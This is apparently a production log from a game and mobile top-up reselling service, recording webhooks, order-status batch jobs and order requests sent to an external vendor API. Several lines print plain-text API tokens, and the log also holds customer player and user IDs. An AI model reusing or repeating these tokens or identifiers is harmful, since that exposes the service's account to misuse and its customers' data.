[2026-03-24 00:00:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-XqqdI4f4-1774299403","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:00:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-XqqdI4f4-1774299403","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:00:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:00:02] production.INFO: SendAcceptReject: Notification queued {"user_id":949,"notification_type":"order_approved","reference_id":178455} 
[2026-03-24 00:00:02] production.INFO: Order updated successfully. Order ID: 178455, Status: completed  
[2026-03-24 00:00:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-XqqdI4f4-1774299403","status":"completed","codes_count":0} 
[2026-03-24 00:00:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"cz8FJ2FOR7QaJJ7sHt0Ttf4liNkPnR1k","execution_time":"2026-03-24 00:00:03"} 
[2026-03-24 00:00:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"cz8FJ2FOR7QaJJ7sHt0Ttf4liNkPnR1k","execution_time":"2026-03-24 00:00:03","total_operations":4,"sites_count":1} 
[2026-03-24 00:00:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"cz8FJ2FOR7QaJJ7sHt0Ttf4liNkPnR1k","execution_time":"2026-03-24 00:00:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 00:00:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"cz8FJ2FOR7QaJJ7sHt0Ttf4liNkPnR1k","execution_time":"2026-03-24 00:00:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:00:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"cz8FJ2FOR7QaJJ7sHt0Ttf4liNkPnR1k","execution_time":"2026-03-24 00:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 00:00:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cz8FJ2FOR7QaJJ7sHt0Ttf4liNkPnR1k","execution_time":"2026-03-24 00:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:00:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cz8FJ2FOR7QaJJ7sHt0Ttf4liNkPnR1k","execution_time":"2026-03-24 00:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:00:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cz8FJ2FOR7QaJJ7sHt0Ttf4liNkPnR1k","execution_time":"2026-03-24 00:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:00:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cz8FJ2FOR7QaJJ7sHt0Ttf4liNkPnR1k","execution_time":"2026-03-24 00:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:00:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"cz8FJ2FOR7QaJJ7sHt0Ttf4liNkPnR1k","execution_time":"2026-03-24 00:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 00:00:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"cz8FJ2FOR7QaJJ7sHt0Ttf4liNkPnR1k","execution_time":"2026-03-24 00:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:00:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"cz8FJ2FOR7QaJJ7sHt0Ttf4liNkPnR1k","execution_time":"2026-03-24 00:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:00:03] production.INFO: Executing GetProducts task...  
[2026-03-24 00:00:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 00:00:03] production.INFO: Executing GetProducts task...  
[2026-03-24 00:00:05] production.INFO: async() رجع: true  
[2026-03-24 00:00:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 00:00:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 00:00:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 00:00:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 00:00:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 00:00:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 00:00:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 00:00:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 00:00:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 00:00:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 00:00:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 00:00:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 00:02:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"uneaYc8PjsCYKiVTPNEHXR1tlse0MpAG","execution_time":"2026-03-24 00:02:04"} 
[2026-03-24 00:02:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"uneaYc8PjsCYKiVTPNEHXR1tlse0MpAG","execution_time":"2026-03-24 00:02:04","total_operations":4,"sites_count":1} 
[2026-03-24 00:02:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"uneaYc8PjsCYKiVTPNEHXR1tlse0MpAG","execution_time":"2026-03-24 00:02:04","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 00:02:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"uneaYc8PjsCYKiVTPNEHXR1tlse0MpAG","execution_time":"2026-03-24 00:02:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:02:05] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"uneaYc8PjsCYKiVTPNEHXR1tlse0MpAG","execution_time":"2026-03-24 00:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 00:02:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uneaYc8PjsCYKiVTPNEHXR1tlse0MpAG","execution_time":"2026-03-24 00:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:02:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uneaYc8PjsCYKiVTPNEHXR1tlse0MpAG","execution_time":"2026-03-24 00:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:02:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uneaYc8PjsCYKiVTPNEHXR1tlse0MpAG","execution_time":"2026-03-24 00:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:02:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uneaYc8PjsCYKiVTPNEHXR1tlse0MpAG","execution_time":"2026-03-24 00:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:02:05] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"uneaYc8PjsCYKiVTPNEHXR1tlse0MpAG","execution_time":"2026-03-24 00:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 00:02:05] production.INFO: Batch query completed {"job":"Quryjob","job_id":"uneaYc8PjsCYKiVTPNEHXR1tlse0MpAG","execution_time":"2026-03-24 00:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:02:05] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"uneaYc8PjsCYKiVTPNEHXR1tlse0MpAG","execution_time":"2026-03-24 00:02:05","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:02:44] production.INFO: Constructing job for order: 178457  
[2026-03-24 00:02:47] production.INFO: Handling job for order: 178457  
[2026-03-24 00:02:47] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:02:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:02:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=5000&uuid=5b629ecc-f3d6-4d9d-8859-b08c9bf04802&Player_ID=50865884  
[2026-03-24 00:02:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=5000&uuid=5b629ecc-f3d6-4d9d-8859-b08c9bf04802&Player_ID=50865884","has_body":false} 
[2026-03-24 00:02:48] production.INFO: Operation sent successfully {"operation_id":163392,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-a3p8C-1774299767","amount":8.5895659999999995903863236890174448490142822265625,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 00:02:48"}},"processed_data":{"order_number":"ORD-a3p8C-1774299767","amount":8.5895659999999995903863236890174448490142822265625,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 00:03:11] production.INFO: Constructing job for order: 178458  
[2026-03-24 00:03:12] production.INFO: Handling job for order: 178458  
[2026-03-24 00:03:12] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:03:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:03:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=10000&uuid=a5669a29-28dc-40a6-a72e-8ab5206fabac&Player_ID=588641378  
[2026-03-24 00:03:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=10000&uuid=a5669a29-28dc-40a6-a72e-8ab5206fabac&Player_ID=588641378","has_body":false} 
[2026-03-24 00:03:12] production.INFO: Operation sent successfully {"operation_id":163393,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MyU2hmOs-1774299792","amount":1.015074999999999949551465761032886803150177001953125,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 00:03:12"}},"processed_data":{"order_number":"ORD-MyU2hmOs-1774299792","amount":1.015074999999999949551465761032886803150177001953125,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 00:03:59] production.INFO: Constructing job for order: 178459  
[2026-03-24 00:04:01] production.INFO: Handling job for order: 178459  
[2026-03-24 00:04:01] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:04:01] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:04:01] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=2500&uuid=4d63e1e7-6d52-4ffa-a500-5d4048fc2b0d&Player_ID=54755107  
[2026-03-24 00:04:01] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=2500&uuid=4d63e1e7-6d52-4ffa-a500-5d4048fc2b0d&Player_ID=54755107","has_body":false} 
[2026-03-24 00:04:01] production.INFO: Operation sent successfully {"operation_id":163394,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-pvIm-1774299841","amount":4.29478299999999979519316184450872242450714111328125,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 00:04:01"}},"processed_data":{"order_number":"ORD-pvIm-1774299841","amount":4.29478299999999979519316184450872242450714111328125,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 00:04:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-a3p8C-1774299767","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:04:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-a3p8C-1774299767","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:04:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:04:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1512,"notification_type":"order_approved","reference_id":178457} 
[2026-03-24 00:04:03] production.INFO: Order updated successfully. Order ID: 178457, Status: completed  
[2026-03-24 00:04:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-a3p8C-1774299767","status":"completed","codes_count":0} 
[2026-03-24 00:04:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"0VFwer2Sv1RXO7kp6CnSG33dDrhlZuOe","execution_time":"2026-03-24 00:04:04"} 
[2026-03-24 00:04:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"0VFwer2Sv1RXO7kp6CnSG33dDrhlZuOe","execution_time":"2026-03-24 00:04:04","total_operations":6,"sites_count":1} 
[2026-03-24 00:04:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"0VFwer2Sv1RXO7kp6CnSG33dDrhlZuOe","execution_time":"2026-03-24 00:04:04","site_id":3,"site_name":"swgamessd","orders_count":6,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-MyU2hmOs-1774299792","ORD-pvIm-1774299841"]} 
[2026-03-24 00:04:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"0VFwer2Sv1RXO7kp6CnSG33dDrhlZuOe","execution_time":"2026-03-24 00:04:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:04:05] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"0VFwer2Sv1RXO7kp6CnSG33dDrhlZuOe","execution_time":"2026-03-24 00:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":6} 
[2026-03-24 00:04:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0VFwer2Sv1RXO7kp6CnSG33dDrhlZuOe","execution_time":"2026-03-24 00:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:04:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0VFwer2Sv1RXO7kp6CnSG33dDrhlZuOe","execution_time":"2026-03-24 00:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:04:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0VFwer2Sv1RXO7kp6CnSG33dDrhlZuOe","execution_time":"2026-03-24 00:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:04:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0VFwer2Sv1RXO7kp6CnSG33dDrhlZuOe","execution_time":"2026-03-24 00:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MyU2hmOs-1774299792","operation_id":163393} 
[2026-03-24 00:04:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0VFwer2Sv1RXO7kp6CnSG33dDrhlZuOe","execution_time":"2026-03-24 00:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:04:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0VFwer2Sv1RXO7kp6CnSG33dDrhlZuOe","execution_time":"2026-03-24 00:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pvIm-1774299841","operation_id":163394} 
[2026-03-24 00:04:05] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"0VFwer2Sv1RXO7kp6CnSG33dDrhlZuOe","execution_time":"2026-03-24 00:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pvIm-1774299841","operation_id":163394,"processed":0,"skipped":6,"updates_prepared":0} 
[2026-03-24 00:04:05] production.INFO: Batch query completed {"job":"Quryjob","job_id":"0VFwer2Sv1RXO7kp6CnSG33dDrhlZuOe","execution_time":"2026-03-24 00:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pvIm-1774299841","operation_id":163394,"processed":0,"errors":0} 
[2026-03-24 00:04:05] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"0VFwer2Sv1RXO7kp6CnSG33dDrhlZuOe","execution_time":"2026-03-24 00:04:05","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pvIm-1774299841","operation_id":163394} 
[2026-03-24 00:04:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1512  
[2026-03-24 00:04:07] production.INFO: Constructing job for order: 178460  
[2026-03-24 00:04:08] production.INFO: Handling job for order: 178460  
[2026-03-24 00:04:08] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:04:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:04:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/778/params?qty=332000&uuid=f041d545-feb9-4a5b-9bde-038884083525&Player_ID=1164509  
[2026-03-24 00:04:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/778/params?qty=332000&uuid=f041d545-feb9-4a5b-9bde-038884083525&Player_ID=1164509","has_body":false} 
[2026-03-24 00:04:08] production.INFO: Operation sent successfully {"operation_id":163395,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ZnkJPY-1774299848","amount":8.42977880000000112659108708612620830535888671875,"status":"processing","product":"PotaLive","game":"PotaLive","notes":[],"created_at":"2026-03-24 00:04:08"}},"processed_data":{"order_number":"ORD-ZnkJPY-1774299848","amount":8.42977880000000112659108708612620830535888671875,"status":"processing","product":"PotaLive","game":"PotaLive"}} 
[2026-03-24 00:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 00:05:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 00:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 00:05:04] production.INFO: async() رجع: true  
[2026-03-24 00:05:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 00:05:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 00:05:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 00:05:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 00:05:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 00:05:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 00:05:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 00:05:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 00:05:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 00:05:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 00:05:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 00:05:07] production.INFO: Constructing job for order: 178461  
[2026-03-24 00:05:09] production.INFO: Handling job for order: 178461  
[2026-03-24 00:05:09] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:05:09] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:05:09] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=2500&uuid=6991fb3b-5d0c-4644-bf23-02f973abf181&Player_ID=53905546  
[2026-03-24 00:05:09] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=2500&uuid=6991fb3b-5d0c-4644-bf23-02f973abf181&Player_ID=53905546","has_body":false} 
[2026-03-24 00:05:10] production.INFO: Operation sent successfully {"operation_id":163396,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-eHtV3lu-1774299910","amount":4.29478299999999979519316184450872242450714111328125,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 00:05:10"}},"processed_data":{"order_number":"ORD-eHtV3lu-1774299910","amount":4.29478299999999979519316184450872242450714111328125,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 00:05:28] production.INFO: Constructing job for order: 178462  
[2026-03-24 00:05:31] production.INFO: Handling job for order: 178462  
[2026-03-24 00:05:31] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 00:05:31] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:05:31] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=cd72898c-6f20-4e3c-80a3-42bf6c6308ca&Player_ID=0953451307  
[2026-03-24 00:05:31] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=cd72898c-6f20-4e3c-80a3-42bf6c6308ca&Player_ID=0953451307","has_body":false} 
[2026-03-24 00:05:32] production.INFO: Operation sent successfully {"operation_id":163397,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-gYYWVZj-1774299931","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 00:05:32"}},"processed_data":{"order_number":"ORD-gYYWVZj-1774299931","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 00:05:45] production.INFO: Constructing job for order: 178463  
[2026-03-24 00:05:47] production.INFO: Handling job for order: 178463  
[2026-03-24 00:05:47] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 00:05:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:05:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=4809d718-9a7b-4277-b511-c8874a91aa9e&Player_ID=0953451307  
[2026-03-24 00:05:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=4809d718-9a7b-4277-b511-c8874a91aa9e&Player_ID=0953451307","has_body":false} 
[2026-03-24 00:05:47] production.INFO: Operation sent successfully {"operation_id":163398,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-2Vg-1774299947","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 00:05:47"}},"processed_data":{"order_number":"ORD-2Vg-1774299947","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 00:06:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02"} 
[2026-03-24 00:06:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","total_operations":10,"sites_count":2} 
[2026-03-24 00:06:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","orders_count":8,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-MyU2hmOs-1774299792","ORD-pvIm-1774299841","ORD-ZnkJPY-1774299848","ORD-eHtV3lu-1774299910"]} 
[2026-03-24 00:06:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:06:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":8} 
[2026-03-24 00:06:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:06:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-eHtV3lu-1774299910","operation_id":163396} 
[2026-03-24 00:06:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:06:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:06:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:06:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZnkJPY-1774299848","operation_id":163395,"processed":3,"skipped":5,"updates_prepared":3} 
[2026-03-24 00:06:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZnkJPY-1774299848","operation_id":163395,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 00:06:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZnkJPY-1774299848","operation_id":163395,"count":3} 
[2026-03-24 00:06:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZnkJPY-1774299848","operation_id":163395,"count":3} 
[2026-03-24 00:06:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"hcVyWMY0Vvu1gg1YdCSGxbboJczXgiBL","execution_time":"2026-03-24 00:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZnkJPY-1774299848","operation_id":163395,"user_id":645,"notification_type":"order_approved","reference_id":178458} 
